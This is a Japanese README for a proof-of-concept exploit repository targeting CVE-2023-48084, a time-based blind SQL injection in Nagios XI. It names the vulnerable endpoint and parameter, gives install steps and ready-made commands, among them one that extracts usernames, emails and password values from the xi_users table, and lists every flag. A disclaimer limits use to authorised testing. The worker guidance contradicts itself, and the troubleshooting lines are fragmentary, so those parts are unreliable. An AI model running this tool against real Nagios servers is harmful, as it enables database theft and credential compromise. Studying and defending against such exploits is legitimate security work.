
Nagios XI の時間ベースのブラインド SQLi を悪用してデータベースの内容を抽出する Python PoC。マルチスレッドの二分探索抽出と CLI によるスキーマ/テーブル/カラム選択を備えています。
リポジトリ: MettHK/CVE-2023-48084-Revised
Hamibubu/CVE-2023-48084 の更新版で、 マルチスレッド、二分探索による抽出、データベース/テーブル/カラム選択用のCLIフラグを備えています。
元のリポジトリではありません。 これは派生的・改良版のPoCです。元の作業の功績は Hamibubu に帰属します。
許可されたセキュリティテストおよび教育目的のみを対象としています。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。著者および貢献者は誤用について責任を負いません。
CVE-2023-48084: Nagios XI バージョン 5.11.3 より前には、一括変更ツールを介したSQLインジェクションの脆弱性があります。
このPoCは、以下の箇所の時間ベースのブラインドSQLインジェクションを利用します:
/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)
有効な非管理者セッションCookie(nagiosxi)またはAPIトークンが必要です。
| Area | What changed |
|---|---|
| 抽出 | 文字列長とASCII文字の二分探索(リクエスト数が大幅に減少) |
| パフォーマンス | マルチスレッドによる文字抽出(-w / --workers) |
| CLI | -d / --database — スキーマ探索をスキップ |
| CLI | -t / --table — テーブル探索をスキップ(-d が必要) |
| CLI | -C / --columns — カンマ区切りのカラム、カラム探索をスキップ(-t が必要) |
| タイミング | --delay、--threshold、--max-length を設定可能 |
| 堅牢性 | スレッドごとのHTTPセッション。任意の pwntools(プログレスバー)とプレーンな代替表示 |
| ドキュメント | 元の版へのクレジット/リンク。例にはラボのホスト名やCTFアーティファクトなし |
requests(必須)pwntools(任意。より見やすいプログレス出力)git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt
# Interactive (discover schemas → tables → columns)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'
# Fast path: database + table + columns known
python3 CVE-2023-48084.py \
-u https://target.example/nagiosxi \
-c '<cookie>' \
-d nagiosxi \
-t xi_users \
-C username,email,password \
-w 15 \
--delay 1.2
2つ以上のワーカーを使うことはお勧めしません。結果が正しくなくなる可能性があります。
--delay を増やす(例: 2)か、-w を減らす(例: 5)。-w 15–20)を試す。-d / -t / -C を優先する。| Flag | Description |
|---|
-u / --url | ベースURL(例: https://target.example/nagiosxi) |
-c / --cookie | nagiosxi セッションCookieの値 |
-a / --apiKey | APIトークン(-c と併用しないでください) |
-d / --database | スキーマ/データベース名(スキーマ列挙をスキップ) |
-t / --table | テーブル名(テーブル列挙をスキップ; -d が必要) |
-C / --columns | カンマ区切りのカラム(カラム列挙をスキップ; -t が必要) |
-w / --workers | 並列スレッド数(デフォルト: 10) |
--delay | 条件真時の SLEEP 秒数(デフォルト: 1.5) |
--threshold | ヒットとみなす最小応答時間(デフォルト: delay * 0.8) |
--max-length | 長さの二分探索における上限(デフォルト: 2048) |